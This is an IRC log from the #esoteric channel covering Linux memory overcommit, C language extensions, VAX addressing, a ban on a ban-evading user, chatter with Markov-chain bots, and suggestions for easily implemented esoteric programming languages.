you're running in kernel mode < 1395053492 899503 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :free("submenu"); should be an undefined behavior < 1395053493 650490 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ais523: linux overcommits < 1395053496 383064 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oh, you mean the running out of memory < 1395053498 200916 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it doesn't bother to return NULL when it's out of memory < 1395053507 500748 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :you can set the overcommit behaviour to 2 to disable that < 1395053509 211683 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it just gives pointers and then kills ~a random process when you try to use them < 1395053512 214758 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :yes but most people don't < 1395053526 312049 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :really, though, we need a 3, which starts refusing allocations to programs that are using lots of memory when they get near, say 80% of the memory that isn't used by other prorgams < 1395053534 108810 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I'm saying that your current behaviour isn't "segfault when out of memory", it's "kill Firefox and annoy the user when out of memory" < 1395053546 160514 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and wrapping malloc doesn't change that behaviour either :-) < 1395053549 348152 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :though I guess there's nothing you can do about that, yeah < 1395053565 726265 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :we need an is_this_pointer_real syscall < 1395053567 144592 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :btw, the only time I actually ended up with the oom-killer triggering, IIRC it hit the right process < 1395053568 906098 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :elliott, does @ solve this problem < 1395053570 864702 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :whereas malloc fail might not have done so < 1395053583 157930 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Taneb: I'm not working on @. < 1395053586 87406 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Taneb: it solves it by automatically purchasing more memory from cloud storage < 1395053609 67338 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :elliott, I meant that more as a joke than aserious question < 1395053695 290425 :Slereahphone!~slereahph@193.253.170.196 QUIT :Remote host closed the connection < 1395053712 55581 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :My own C extensions solve that problem with the strdup by allowing you to prefix the declaration with ["implements"("strdup",ptr)] so that the compiler can inline it and/or perform optimizations based on it, for one thing. < 1395053722 930230 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :actually, thrashing is the big problem in practice < 1395053750 106584 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :if you're getting near to running out of memory and have nonzero swap, your computer is probably unusably slow < 1395053772 12363 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and you'll be glad it killed Firefox to free up enough memory that you can open up a terminal and deal with the problem before memory fills again < 1395053804 223442 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You should program the computer not to kill processes when one program runs out of memory, unless it is a privileged process which explicitly has a code in it that tells it to try doing such things. < 1395053846 344446 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :hm? < 1395053859 856078 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Also have a SysRq command which you can push to tell it to stop a process in case you need to run other programs to deal with it temporarily. < 1395053870 798332 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :this is basically all caused by our programming languages being TC and our computers not being < 1395053916 615427 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :actually, I guess the real reason for NetHack is that if it gets anywhere close to memory exhaustion, there's a leak somewhere < 1395053937 906209 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Well, yes you should check that, in case that is actually the problem. < 1395053996 841038 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ais523: I might disable overcommit, except that I don't trust programs to be robust enough to even crash cleanly in such a scenario. < 1395054028 796917 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the overcommit setting rarely does anything at all, really, because it's rare that the computer actually does run out of memory < 1395054038 554724 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :unless you set it to 1, never do that < 1395054059 77528 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :(it causes the kernel to overcommit even for completely implausible amounts of memory) < 1395054419 642346 :boily!~boily@96.127.201.149 QUIT :Quit: UNDERCOMMIT CHICKEN < 1395056081 113717 :AveCaesar!~AuePrum@46.115.88.36 JOIN :#esoteric < 1395057090 653216 :Slereahphone!~slereahph@193.253.170.196 JOIN :#esoteric < 1395057994 748164 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1395058094 194885 :Slereahphone!~slereahph@193.253.170.196 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1395058352 104204 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1395059006 144233 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :bloody dog is at it again, for 2 1/2 hours. < 1395059078 119097 :aergus!~aergus@78.168.133.76 JOIN :#esoteric < 1395059083 344214 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1395059225 731343 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :> 2^53 < 1395059226 267754 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:2: error: expected: "$", < 1395059226 591003 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "$>", "&&", "&&&", "*", "***", < 1395059226 698682 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "+", "++", "-", "->", ".", "/", < 1395059226 753467 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "/=", ":+", ":-", "::", ":::", < 1395059226 753605 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : ":=", "<", "<$", "<$>", "<*>",14↵… < 1395059226 952560 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 9007199254740992 < 1395059374 394743 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1395059810 844336 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 252 seconds < 1395059866 958459 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i think the dog may be getting tired, it's occasionally taking several second breaks. < 1395059911 128330 :Tritonio1!~Thunderbi@79.141.172.18 JOIN :#esoteric < 1395059925 578066 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :perhaps it's finally despairing of anyone listening. < 1395059962 344754 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :No, Dog, No One is Listening to You. No One You would Want to Meet, Anyhow. < 1395060091 647048 :Tritonio!~Thunderbi@212.251.54.186 QUIT :Ping timeout: 264 seconds < 1395060155 181384 :Slereahphone!~slereahph@193.253.170.196 JOIN :#esoteric < 1395060226 568698 :AveCaesar!~AuePrum@46.115.88.36 PRIVMSG #esoteric :shakespeare? < 1395060244 889263 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :AveCaesar: what? < 1395060266 590315 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i am not quoting shakespeare. just snapping because of a barking dog, is all. < 1395060283 411340 :AveCaesar!~AuePrum@46.115.88.36 PRIVMSG #esoteric :just kidding.. that no dog quote.. it's strange i've been reading so much poetry about dogs past days < 1395060323 470162 :AveCaesar!~AuePrum@46.115.88.36 PRIVMSG #esoteric :you know..it's not much about writing.. "just sit down and bleed" -hemingway < 1395060339 734399 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oerjan: I wonder who this guy is???!?!?!?!? < 1395060354 156990 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :does it say anything about how to stop other people's dogs barking? yahoo answers was very disappointing. < 1395060354 478136 :ChanServ!ChanServ@services. MODE #esoteric +o :elliott > 1395060354 836213 NAMES :#esoteric < 1395060359 176316 :elliott!~elliott@unaffiliated/elliott MODE #esoteric +b :*!*AuePrum@46.115.88.* > 1395060359 198106 NAMES :#esoteric < 1395060359 352581 :elliott!~elliott@unaffiliated/elliott KICK #esoteric AveCaesar :WE'LL NEVER KNOW < 1395060381 227388 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :a barking hag, i take < 1395060410 566544 :elliott!~elliott@unaffiliated/elliott MODE #esoteric +b :*!*@46.115.* > 1395060410 588154 NAMES :#esoteric < 1395060418 523293 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :eh < 1395060421 954968 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :one of his recent evasions didn't match that mask < 1395060426 459914 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :and two other people over the life of the channel have used it < 1395060427 624485 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :*sigh* < 1395060432 392385 :elliott!~elliott@unaffiliated/elliott MODE #esoteric -b :*!*@46.115.* > 1395060432 413899 NAMES :#esoteric < 1395060458 276267 :elliott!~elliott@unaffiliated/elliott MODE #esoteric -o :elliott > 1395060458 298294 NAMES :#esoteric < 1395060466 407648 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I guess we just have to keep playing cat and mouse until he gets bored < 1395060466 764561 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Hallo < 1395060593 554659 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :elliott: No, it won't work??? < 1395060606 193309 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :? < 1395060607 950625 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(I think) < 1395060615 183633 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :what won't work? < 1395060636 674741 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :To "keep playing cat and mouse until he gets bored". < 1395060657 993085 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :well, either he gets bored first, I get bored first, or neither of us ever get bored of it < 1395060671 276153 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :if it's the latter, then I think he is probably older enough than me that he is likely to die first < 1395060683 785249 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :That depends on how persistent they are (and you). < 1395060688 975158 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :and I think this is more work for him than me < 1395060702 963619 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :and also I think I'm more competent than him. so I give myself good odds. < 1395060722 914129 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :what did AveCaesar do? < 1395060722 970321 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :No, he is going to be really persistent. < 1395060733 847375 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It cannot be stopped. < 1395060772 46687 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :just like the dog. < 1395060800 769037 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1395060801 305290 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I recommending all persistence < 1395060842 321597 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :well, he seems to at least be bothered by me reacting to his ban evasion, since he sent me a lambdabot message telling me to grow up one of the times < 1395060848 361237 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I *suspect* he has finite patience, though I cannot be sure. < 1395060899 598201 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :zzo38: even for dogs? YOU WICKED MAN < 1395060919 955247 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :but why did you ban him? < 1395060928 501111 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :oerjan: Even for dogs, it doesn't matter if it is dogs or not, I suppose < 1395060945 571106 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Finite persistence isn't same as being small, though. < 1395060948 352656 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :oerjan, you could confront the owner < 1395060949 785089 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oklopol: because he was already banned < 1395060959 665022 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :but why was he banned < 1395060976 552935 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :you are not feeding my curiosity < 1395060981 528767 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it doesn't even matter why he was banned at this point, since his reaction since has been to repeatedly evade and insult ops and others (incl. behind their back) as an appeals strategy < 1395060991 520575 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :perhaps you like cats more than dogs < 1395060998 959502 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You should forward banned people to a #esoteric#shadow channel (which is owned by glogbot for this purpose) < 1395061008 950409 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i'm not saying it _matters_, i'm just curious. < 1395061010 1661 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no, i actually like dogs more, in person. < 1395061044 713540 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I don't actually remember the original thing < 1395061051 389811 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I think he was banned multiple times before it became permanent. < 1395061096 140402 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :maybe we just banned him to check if he was an evil ban evader, which he was. < 1395061121 294 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :clearly we should just ban everyone by default < 1395061123 913993 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :to preemptively weed out the evaders < 1395061127 416640 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(we do like recursion in this channel) < 1395061182 269966 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Taneb: but the owner is only there when the dog doesn't bark, at which time i'm all busy being serene and calm. < 1395061193 238236 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :That is why I made up the shadow channel and made it so that nobody can ban anyone. < 1395061206 905092 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :oerjan, turn that serenity into ferocity or something < 1395061209 112660 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It is channel for banned people, although anyone can access it. < 1395061221 401608 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You have to provide forwarding. < 1395061243 257026 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Taneb: but when i'm ferocious enough to confront people, i want to kill them. < 1395061252 923572 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :That may be a problem < 1395061260 73112 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Hire a confrontationist? < 1395061295 788850 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 252 seconds < 1395061490 362553 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :< zzo38> I have specified "C" in LANG. < zzo38> Which I think always should be used. – Whatthewhat? < 1395062098 827626 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I found out very recently that immediate addressing mode in VAX is also program counter with postincrement, same as how some instruction sets I invented work, in the same way. < 1395062504 815975 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Except that mine also allows program counter indexed and all of that stuff too. < 1395062734 560152 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It looks like VAX also has a "time of year" register. < 1395063179 950927 :Slereahphone!~slereahph@193.253.170.196 PRIVMSG #esoteric :As long as it doesn't have a "time of the month" register < 1395063180 5773 :Slereahphone!~slereahph@193.253.170.196 PRIVMSG #esoteric :*rimshot* < 1395064131 742942 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1395064265 341646 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1395064292 67702 :Slereahphone!~slereahph@193.253.170.196 QUIT :Remote host closed the connection < 1395064311 758520 :Slereahphone!~slereahph@193.253.170.196 JOIN :#esoteric < 1395064595 791745 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 252 seconds < 1395065939 924135 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Now I wrote about in Black-C, is the use of __error__() function, use of "static inline const" global arrays, and a list of many suggested metadata attributes (none of which need be implemented, and an implementation can add its own, too). < 1395066080 751176 :Slereahphone!~slereahph@193.253.170.196 QUIT :Ping timeout: 252 seconds < 1395066095 598600 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Metadata attributes are: aligned, alternate, always_return, arg_size, asm_name, associative, assume, breakpoint, cold, complex, commutative, decimal, expect, expect_false, expect_true, fast, fast_math, form, hot, implements, invert, never_return, penalty, prefetch, range, readnone, readonly, restrict, returned, section, self_bijective, unreachable, vector, vrange. < 1395066140 269162 :Slereahphone!~slereahph@193.253.170.196 JOIN :#esoteric < 1395066505 179956 :Slereahphone!~slereahph@193.253.170.196 QUIT :Remote host closed the connection < 1395066524 268317 :Slereahphone!~slereahph@193.253.170.196 JOIN :#esoteric < 1395066576 21256 :Slereahphone!~slereahph@193.253.170.196 QUIT :Remote host closed the connection < 1395066840 744120 :Slereahphone!~slereahph@193.253.170.196 JOIN :#esoteric < 1395067416 779328 :spiette!~spiette@mtl.savoirfairelinux.net JOIN :#esoteric < 1395067563 8712 :aergus!~aergus@78.168.133.76 QUIT :Ping timeout: 255 seconds < 1395068149 911553 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1395068216 797626 :password2!~password@197.78.152.105 JOIN :#esoteric < 1395068250 38234 :password2!~password@197.78.152.105 QUIT :Max SendQ exceeded < 1395068275 287241 :aergus!~aergus@78.168.133.76 JOIN :#esoteric < 1395068306 957008 :password2!~password@197.78.152.105 JOIN :#esoteric < 1395068348 620340 :password2!~password@197.78.152.105 QUIT :Max SendQ exceeded < 1395068468 657021 :Slereah_!~jackal@80.10.159.103 JOIN :#esoteric < 1395068555 733370 :Slereahphone!~slereahph@193.253.170.196 QUIT :Ping timeout: 252 seconds < 1395069065 317794 :Bike_!~Glossina@71-222-114-227.ptld.qwest.net JOIN :#esoteric < 1395069377 193697 :Bike_!~Glossina@71-222-114-227.ptld.qwest.net NICK :Bike < 1395069447 803967 :password2!~password@197.78.152.105 JOIN :#esoteric < 1395069465 725892 :password2!~password@197.78.152.105 QUIT :Max SendQ exceeded < 1395069501 250901 :password2!~password@197.78.152.105 JOIN :#esoteric < 1395069527 784850 :password2!~password@197.78.152.105 QUIT :Max SendQ exceeded < 1395069566 612947 :password2!~password@197.78.152.105 JOIN :#esoteric < 1395069598 806628 :password2!~password@197.78.152.105 QUIT :Max SendQ exceeded < 1395069640 590014 :password2!~password@197.78.152.105 JOIN :#esoteric < 1395071440 259969 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`coins < 1395071461 55228 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :HackEgo isn't here < 1395071505 684691 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :hackegocoin < 1395071629 296479 :nooodl!~nooodl@33.96-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395071641 398594 :Bike!~Glossina@71-222-114-227.ptld.qwest.net QUIT :Ping timeout: 240 seconds < 1395072171 586753 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395072355 466169 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395072355 589616 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395072834 90993 :Bike!~Glossina@71-222-114-227.ptld.qwest.net JOIN :#esoteric < 1395073085 373111 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1395073138 494293 :lambdabot!~lambdabot@silicon.int-e.eu QUIT :Read error: Operation timed out < 1395073241 832912 :fungot!fis@eos.zem.fi QUIT :Ping timeout: 252 seconds < 1395073417 258715 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 240 seconds < 1395073623 995554 :lambdabot!~lambdabot@silicon.int-e.eu JOIN :#esoteric < 1395074426 846795 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I don't want to start reimplementing `coins on fungot. :/ < 1395074438 985402 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Hey, fungot isn't here either. < 1395074468 841267 :fungot!fis@eos.zem.fi JOIN :#esoteric < 1395074491 795977 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fungot: what is your opinion on HackEgo? < 1395074491 926851 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :ais523: i wonder why? it means i have to < 1395074505 982531 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oh wow, what an awesomely relevant response < 1395074884 844884 :nooodl!~nooodl@33.96-242-81.adsl-dyn.isp.belgacom.be PRIVMSG #esoteric :how does `coins work? < 1395074916 954131 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it's a markov chain, I think < 1395074924 444051 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :initialized with names of esolangs and also something else, which I forget < 1395075106 915364 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :English words. < 1395075114 847515 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :One million English words, to be exact. < 1395075122 935544 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :are the esolangs more heavily weighted? < 1395075155 473185 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I believe it has uniform weights, but the frequencies are normalized, which means the corpus sizes do not affect the results. < 1395075163 792370 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :^style fungot < 1395075163 914577 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Selected style: fungot (What I've said myself) < 1395075199 335034 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that got me thinking about initializing a markovbot with a markovbot < 1395075203 481594 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :then realised fungot already had that mode < 1395075203 638568 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :ais523: so, let's say i call them mindless games. if we hit every stupid person, any person going fast and such an apparently non-standard format is being dimensioned by assigning dimensions to them; and sets. maybe thats what them meant by experimental selected so it probably no longer the wand the better part made mercie, i should think at least, that is expressions which have not been able, to assume responsibilities. he wen < 1395075277 335280 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Well, it also contains output from all other fungot commands, incl. bf and ul programs. < 1395075277 455529 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: ( ( ( a()**)a*:a*)(a()**)a*:a*)((x1)(x2)(x3)) ...out of time! < 1395075288 396700 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :As was very nicely illustrated there, thank you. < 1395075398 910505 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Discounting non-babble output, I believe the current style is asymptotically speaking equivalent to a weighted interpolation of all the other styles, but of course it hasn't spoken an infinite amount of data yet, so it's not quite.) < 1395075690 346193 :nooodl!~nooodl@33.96-242-81.adsl-dyn.isp.belgacom.be PRIVMSG #esoteric :that was eerily well-timed illustration fungot < 1395075690 605108 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :nooodl: more simply put: siod sucks as a general purpose ( similar, and i'd like to see that mystical forest powers, but this time on the impact of the introduction to theoretical computer.) a variety of colorful fish, but the darkness. once this is false, another is a sgi indy ( mips, running under rc/ funge-98, using the strn, sock and fgrn fingerprints, running under rc/ funge-98, using the strn, sock and fgrn fingerprints, < 1395075795 284289 :fizzie!fis@unaffiliated/fizzie TOPIC #esoteric :a variety of colorful fish, but the darkness | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/ < 1395076099 395055 :aergus!~aergus@78.168.133.76 QUIT :Ping timeout: 264 seconds < 1395076904 989789 :Tritonio1!~Thunderbi@79.141.172.18 QUIT :Ping timeout: 255 seconds < 1395078664 392817 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1395078981 553157 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 264 seconds < 1395079256 338066 :aergus!~aergus@78.168.133.76 JOIN :#esoteric < 1395080560 566180 :shikhin!~Shikhin@unaffiliated/shikhin PRIVMSG #esoteric :http://esolangs.org/wiki/Thue -- what does a line which doesn't contain "::=" before the end-of-rules imply? < 1395080564 210333 :shikhin!~Shikhin@unaffiliated/shikhin PRIVMSG #esoteric :. < 1395080587 770930 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :syntax error I think < 1395080590 575773 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :syntax error < 1395080699 512497 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :ais523: Where do I report jettyplay bugs (if I should at all), darcsden.com is down (those two phrases may or may not be related) < 1395080716 623458 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Deewiant: to me personally, and I know it's down < 1395080721 453731 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :although still responding to pushes/pullls < 1395080756 964326 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :over ssh, at least < 1395080767 2131 :shikhin!~Shikhin@unaffiliated/shikhin PRIVMSG #esoteric :Any good esolangs you folks know of, which are easily implementable (like, say thue)? < 1395080774 844444 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :elliott: what was the name of that tiny roguelike you never finished < 1395080781 246964 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :vagrant < 1395080783 387703 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :quintopia: Vagrant < 1395080788 702815 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :gah having a broken tab-complete is so annoying < 1395080788 758831 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :echochocho < 1395080799 233857 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the tab button just arbitrarily started changing focus, rather than completing < 1395080809 861644 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :shikhin: Underload, ///, Deadfish < 1395080817 253648 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Funge-98 < 1395080819 268039 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Deewiant: not up to it right now, but I'll move the repo to nethack4.org some time < 1395080821 613551 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :one of these si not serious < 1395080824 900361 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :shikhin: many many esolangs are designed with easy implementation in mind < 1395080825 294523 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :ais523: It opened a bzip2'd nethack (3.4.3) ttyrec just fine but it ended playback at / counted the frames only up to the first "Be seeing you...", works when bunzip2'd < 1395080833 918236 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :elliott: Deadfish is never serious :-) < 1395080840 332927 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ais523: that wasn't the one that wasn't serious < 1395080846 434160 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ais523: but always easily implemented < 1395080846 676058 :Bike!~Glossina@71-222-114-227.ptld.qwest.net PRIVMSG #esoteric :it is easy to implement though < 1395080846 787668 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :Or at least it counted further, didn't check if it actually makes it to the end but I'd assume so < 1395080852 714982 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Deewiant: huh, I wonder if the file in question is multiple bzip files concatenated < 1395080859 809204 :Bike!~Glossina@71-222-114-227.ptld.qwest.net PRIVMSG #esoteric :so is underload. shouldn't /// be easy,i haven't tried < 1395080872 863842 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :ais523: I doubt it since it's a ttyrec I created myself and I just bzip2'd it to save space < 1395080878 837429 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :Still, not impossible < 1395080890 684899 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ResPlicate is easy to implement :P < 1395080895 870047 :shikhin!~Shikhin@unaffiliated/shikhin PRIVMSG #esoteric :Yeah, those three I know of. < 1395080899 345424 :shikhin!~Shikhin@unaffiliated/shikhin PRIVMSG #esoteric :ResPlicate too, heh. < 1395080920 498291 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :ais523: Actually, you're right, it was made with termrec -a < 1395080924 216563 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :shikhin: you could implement ETAS. it's never been implemented, and I think it'd be pretty easy! < 1395080933 44171 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG 